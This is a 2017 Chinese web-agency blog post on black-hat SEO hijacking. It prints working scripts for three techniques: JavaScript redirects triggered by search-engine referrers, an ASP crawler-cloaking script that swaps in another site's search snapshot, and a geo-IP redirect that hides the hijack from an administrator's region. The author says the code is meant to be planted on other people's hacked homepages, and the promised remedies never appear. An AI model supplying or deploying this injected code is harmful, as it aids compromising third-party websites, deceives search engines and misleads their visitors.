设计观点

精准传达 • 价值共享

洞悉互联网前沿资讯,探寻网站营销规律

黑帽SEO手法中的流量劫持方法介绍及解决办法

作者:Smileby陌少羽 | 2017-05-11 08:41 |点击:

黑帽SEO手法站长们都或多或少听过,其中最为大家熟悉的就是流量劫持和快照劫持,不过很多新手站长对这些表现不熟悉,那今天代明博客就为大家简单分析一下,黑帽SEO手法中的流量劫持、快照劫持、以及判断地区劫持流量。

首先黑帽包括很多很多手法,技术含量也要求很高。比如举几个列子:流量劫持、快照劫持、泛域名、泛ip、变种ip、目录链轮、新闻源劫持、寄生虫程序、get程序、无限页面链轮等等 ,不止这些,而且还会不停的出新技能。

黑帽SEO手法中的流量劫持

黑帽SEO手法1、劫持流量

有站长发现一个现象,说劫持的时候会判断一下来路引擎,从百度来的时候才会跳转,正常输入网址是打开正常的。好,我们先看一下是怎么实现的,上代码:

 

<script LANGUAGE=”Javascript”>

var s=document.referrer

if(s.indexOf(“google”)>0 || s.indexOf(“baidu”)>0 || s.indexOf(“yahoo”)>0 )

location.href=”http://www.hao123.com”;

else

location.href=”indax.php/index.asp/index.html”

</script>

代码解释:if(s.indexOf(“google”)>0 || s.indexOf(“baidu”)>0 || s.indexOf(“yahoo”)>0 ) 判断搜索引擎来源,如果来源正确,location.href=”http://www.hao123.com”;跳转到hao123网站。下面的代码是如果否,则打开正常首页。这段代码为js代码。只是一个简单的判断。

黑帽SEO手法2、快照劫持

这个是有点技术含量的,需要的代码也不会那么简单,总之目的是把别人网站首页的快照变成自己的,然后别人输入网址打开的时候还是正常显示,判断来路之后才会跳转。想把快照换成自己想要的,得需要一段能改变蜘蛛看法的代码,代码类型很多,我这里写一种:

 

<%@ LANGUAGE = VBScript.Encode %><%

Dim agent

agent=Request.ServerVariables(“http_user_agent”)

If instr(agent,”Baiduspider”) > 0 or instr(agent,”baidubrowser”) > 0 or instr(agent,”Sogou”) > 0 or instr(agent,”googlebot”) > 0 or instr(agent,”Sosospider”) > 0 then

linkurl=”http://www.xxx.com” ‘快照网址

Function GetBody(Url)

Dim objXML

On Error Resume Next

Set objXML = CreateObject(“Microsoft.XMLHTTP”)

With objXML

.Open “Get”, Url, False, “”, “”

.Send

GetBody = .ResponseBody

End With

GetBody=BytesToBstr(GetBody,”GB2312″)

Set objXML = Nothing

End Function

Function BytesToBstr(strBody,CodeBase)

dim objStream

set objStream = Server.CreateObject(“Adodb.Stream”)

objStream.Type = 1

objStream.Mode =3

objStream.Open

objStream.Write strBody

objStream.Position = 0

objStream.Type = 2

objStream.Charset = CodeBase

BytesToBstr = objStream.ReadText

objStream.Close

set objStream = nothing

End Function

response.write GetBody(linkurl)

End if%>

<script LANGUAGE=”Javascript”>

var s=document.referrer

if(s.indexOf(“google”)>0 || s.indexOf(“baidu”)>0 || s.indexOf(“yahoo”)>0 )

location.href=”http://www.baidu.com”;

</script>

代码解释:前一段判断抓取蜘蛛来源,指向快照抓取网址;后一段代码判断来路,进行跳转到指定网址。这段代码其他地方暂不解释。

黑帽SEO手法3、判断地区劫持流量

可能有时候怕管理发现,也不需要其他地区的没用流量。要怎么做呢。比如管理员是江西的,那么看代码:

 

<script src=”http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js” charset=”GB2312″ ></script>

<script type=text/javascript>

if(remote_ip_info.province ==’江西’){这里指定地区

;这里为空表示不跳转 我们留空表示不跳转

}else{否则

window.location.href=”http://www.hao123.com”;如果不是上面地区 就跳转到这个网址

}

</script>

代码解释:http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js 为ip数据识别;其他代码看注释;

好了,今天就说这几个简单的手法吧,但有人要问了,要怎么实现呢,这些代码要放在什么地方?代明博客淡淡的说:要放在别人网站的首页上。既然是劫持,肯定是劫持别人网站的了。那要怎么放进去呢?黑掉。所以说黑帽是建立在非常高深的技术上面,然后结合seo理论,实现的一种高效转化流量的手段,当然,这里我们暂且不谈黑帽的持久性。

如没特殊注明,文章均为狐灵科技原创,转载请注明  https://www.hulingweb.cn/sjgd/12.html
多一份免费策划方案,总有益处。

请直接添加技术总监微信联系咨询

网站设计 品牌营销

多一份参考,总有益处

联系狐灵科技,免费获得专属《策划方案》及报价

咨询相关问题或预约面谈,可以通过以下方式与我们联系

业务热线:023-68168040 / 大客户专线:15523356218